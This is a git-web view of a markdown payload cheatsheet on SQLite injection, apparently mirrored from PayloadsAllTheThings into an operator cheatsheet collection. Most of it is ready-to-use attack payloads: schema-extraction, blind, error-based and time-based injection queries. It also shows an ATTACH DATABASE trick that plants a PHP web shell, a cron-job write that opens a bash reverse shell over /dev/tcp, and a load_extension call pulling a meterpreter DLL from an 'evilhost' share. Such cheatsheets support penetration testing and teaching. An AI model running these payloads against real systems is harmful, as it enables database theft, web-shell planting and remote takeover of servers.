daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

sqlite-injection.md (8993B)


      1 ---
      2 title: "SQLite Injection"
      3 topic: "SQL Injection"
      4 topicSlug: "sql-injection"
      5 sourcePath: "SQL Injection/SQLite Injection.md"
      6 sourceUrl: "https://github.com/swisskyrepo/PayloadsAllTheThings/blob/3ac27901c711/SQL%20Injection/SQLite%20Injection.md"
      7 sha: "3ac27901c711"
      8 isReadme: false
      9 ---
     10 
     11 # SQLite Injection
     12 
     13 > SQLite Injection  is a type of security vulnerability that occurs when an attacker can insert or "inject" malicious SQL code into SQL queries executed by an SQLite database. This vulnerability arises when user inputs are integrated into SQL statements without proper sanitization or parameterization, allowing attackers to manipulate the query logic. Such injections can lead to unauthorized data access, data manipulation, and other severe security issues.
     14 
     15 ## Summary
     16 
     17 * [SQLite Comments](#sqlite-comments)
     18 * [SQLite Enumeration](#sqlite-enumeration)
     19 * [SQLite String](#sqlite-string)
     20     * [SQLite String Methodology](#sqlite-string-methodology)
     21 * [SQLite Blind](#sqlite-blind)
     22     * [SQLite Blind Methodology](#sqlite-blind-methodology)
     23     * [SQLite Blind With Substring Equivalent](#sqlite-blind-with-substring-equivalent)
     24 * [SQlite Error Based](#sqlite-error-based)
     25 * [SQlite Time Based](#sqlite-time-based)
     26 * [SQlite Remote Code Execution](#sqlite-remote-code-execution)
     27     * [Attach Database](#attach-database)
     28     * [Load_extension](#load_extension)
     29 * [SQLite File Manipulation](#sqlite-file-manipulation)
     30     * [SQLite Read File](#sqlite-read-file)
     31     * [SQLite Write File](#sqlite-write-file)
     32 * [References](#references)
     33 
     34 ## SQLite Comments
     35 
     36 | Description         | Comment |
     37 | ------------------- | ------- |
     38 | Single-Line Comment | `--`    |
     39 | Multi-Line Comment  | `/**/`  |
     40 
     41 ## SQLite Enumeration
     42 
     43 | Description  | SQL Query                  |
     44 | ------------ | -------------------------- |
     45 | DBMS version | `select sqlite_version();` |
     46 
     47 ## SQLite String
     48 
     49 ### SQLite String Methodology
     50 
     51 | Description                                          | SQL Query                                                                                              |
     52 | ---------------------------------------------------- | ------------------------------------------------------------------------------------------------------ |
     53 | Extract Database Structure                           | `SELECT sql FROM sqlite_schema`                                                                        |
     54 | Extract Database Structure (sqlite_version > 3.33.0) | `SELECT sql FROM sqlite_master`                                                                        |
     55 | Extract Table Name                                   | `SELECT tbl_name FROM sqlite_master WHERE type='table'`                                                |
     56 | Extract Table Name                                   | `SELECT group_concat(tbl_name) FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'` |
     57 | Extract Column Name                                  | `SELECT sql FROM sqlite_master WHERE type!='meta' AND sql NOT NULL AND name ='table_name'`             |
     58 | Extract Column Name                                  | `SELECT GROUP_CONCAT(name) AS column_names FROM pragma_table_info('table_name');`                      |
     59 | Extract Column Name                                  | `SELECT MAX(sql) FROM sqlite_master WHERE tbl_name='<TABLE_NAME>'`                                     |
     60 | Extract Column Name                                  | `SELECT name FROM PRAGMA_TABLE_INFO('<TABLE_NAME>')`                                                   |
     61 
     62 ## SQLite Blind
     63 
     64 ### SQLite Blind Methodology
     65 
     66 | Description             | SQL Query                                                                                                                                                                                              |
     67 | ----------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
     68 | Count Number Of Tables  | `AND (SELECT count(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' ) < number_of_table`                                                                               |
     69 | Enumerating Table Name  | `AND (SELECT length(tbl_name) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0)=table_name_length_number`                                                       |
     70 | Extract Info            | `AND (SELECT hex(substr(tbl_name,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) > HEX('some_char')`                                                    |
     71 | Extract Info (order by) | `CASE WHEN (SELECT hex(substr(sql,1,1)) FROM sqlite_master WHERE type='table' AND tbl_name NOT LIKE 'sqlite_%' LIMIT 1 OFFSET 0) = HEX('some_char') THEN <order_element_1> ELSE <order_element_2> END` |
     72 
     73 ### SQLite Blind With Substring Equivalent
     74 
     75 | Function    | Example                                  |
     76 | ----------- | ---------------------------------------- |
     77 | `SUBSTRING` | `SUBSTRING('foobar', <START>, <LENGTH>)` |
     78 | `SUBSTR`    | `SUBSTR('foobar', <START>, <LENGTH>)`    |
     79 
     80 ## SQlite Error Based
     81 
     82 ```sql
     83 AND CASE WHEN [BOOLEAN_QUERY] THEN 1 ELSE load_extension(1) END
     84 ```
     85 
     86 ## SQlite Time Based
     87 
     88 ```sql
     89 AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
     90 AND 1337=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
     91 ```
     92 
     93 ## SQLite Remote Code Execution
     94 
     95 ### Attach Database
     96 
     97 This snippet shows how an attacker could abuse SQLite's `ATTACH DATABASE` feature to plant a web-shell on a server:
     98 
     99 ```sql
    100 ATTACH DATABASE '/var/www/shell.php' AS shell;
    101 CREATE TABLE shell.pwn (dataz text);
    102 INSERT INTO shell.pwn (dataz) VALUES ('<?php system($_GET["cmd"]); ?>');--
    103 ```
    104 
    105 First, it tells SQLite to "treat" a PHP file as a writable SQLite database. Then it creates a table inside that file (which is actually the future web-shell). Finally it writes malicious PHP code into the file.
    106 
    107 **Note:** Using `ATTACH DATABASE` to create a file comes with a drawback: SQLite will prepend its magic header bytes (`5351 4c69 7465 2066 6f72 6d61 7420 3300`, i.e., *"SQLite format 3"*). These bytes will corrupt most server-side scripts, but PHP is unusually tolerant: as long as a `<?php` tag appears anywhere in the file, the interpreter ignores any preceding garbage and executes the embedded code.
    108 
    109 ```ps1
    110 file shell.php  
    111 shell.php: SQLite 3.x database, last written using SQLite version 3051000, file counter 2, database pages 2, cookie 0x1, schema 4, UTF-8, version-valid-for 2
    112 ```
    113 
    114 If uploading a PHP web shell isn’t possible but the service runs with root privileges, an attacker can use the same technique to create a cron job that triggers a reverse shell:
    115 
    116 ```sql
    117 ATTACH DATABASE '/etc/cron.d/pwn.task' AS cron;
    118 CREATE TABLE cron.tab (dataz text);
    119 INSERT INTO cron.tab (dataz) VALUES (char(10) || '* * * * * root bash -i >& /dev/tcp/127.0.0.1/4242 0>&1' || char(10));--
    120 ```
    121 
    122 This writes a new cron entry that runs every minute and connects back to the attacker.
    123 
    124 ### Load_extension
    125 
    126 :warning: SQLite's ability to load external shared libraries (extensions) is disabled by default in most environments. When enabled, SQLite can load a compiled module using the `load_extension()` SQL function:
    127 
    128 ```sql
    129 SELECT load_extension('\\evilhost\evilshare\meterpreter.dll','DllMain');--
    130 ```
    131 
    132 In the sqlite3 command-line shell you can display runtime configuration with:
    133 
    134 ```sql
    135 sqlite> .dbconfig
    136     load_extension on
    137 ```
    138 
    139 If you see `load_extension on` (or off), that indicates whether the shell's runtime currently permits loading shared-library extensions.
    140 
    141 A SQLite extension is simply a native shared library,typically a `.so` file on Linux or a `.dll` file on Windows, that exposes a special initialization function. When the extension is loaded, SQLite calls this function to register any new SQL functions, virtual tables, or other features provided by the module.
    142 
    143 To compile a loadable extension on Linux, you can use:
    144 
    145 ```ps1
    146 gcc -g -fPIC -shared demo.c -o demo.so
    147 ```
    148 
    149 ## SQLite File Manipulation
    150 
    151 ### SQLite Read File
    152 
    153 SQLite does not support file I/O operations by default.
    154 
    155 ### SQLite Write File
    156 
    157 ```sql
    158 SELECT writefile('/path/to/file', column_name) FROM table_name
    159 ```
    160 
    161 ## References
    162 
    163 * [Injecting SQLite database based application - Manish Kishan Tanwar - February 14, 2017](https://web.archive.org/web/20211205031408/https://www.exploit-db.com/docs/english/41397-injecting-sqlite-database-based-applications.pdf)
    164 * [SQLite Error Based Injection for Enumeration - Rio Asmara Suryadi - February 6, 2021](https://web.archive.org/web/20210221065923/http://rioasmara.com/2021/02/06/sqlite-error-based-injection-for-enumeration/)
    165 * [SQLite3 Injection Cheat sheet - Nickosaurus Hax - May 31, 2012](https://web.archive.org/web/20131208191957/https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet)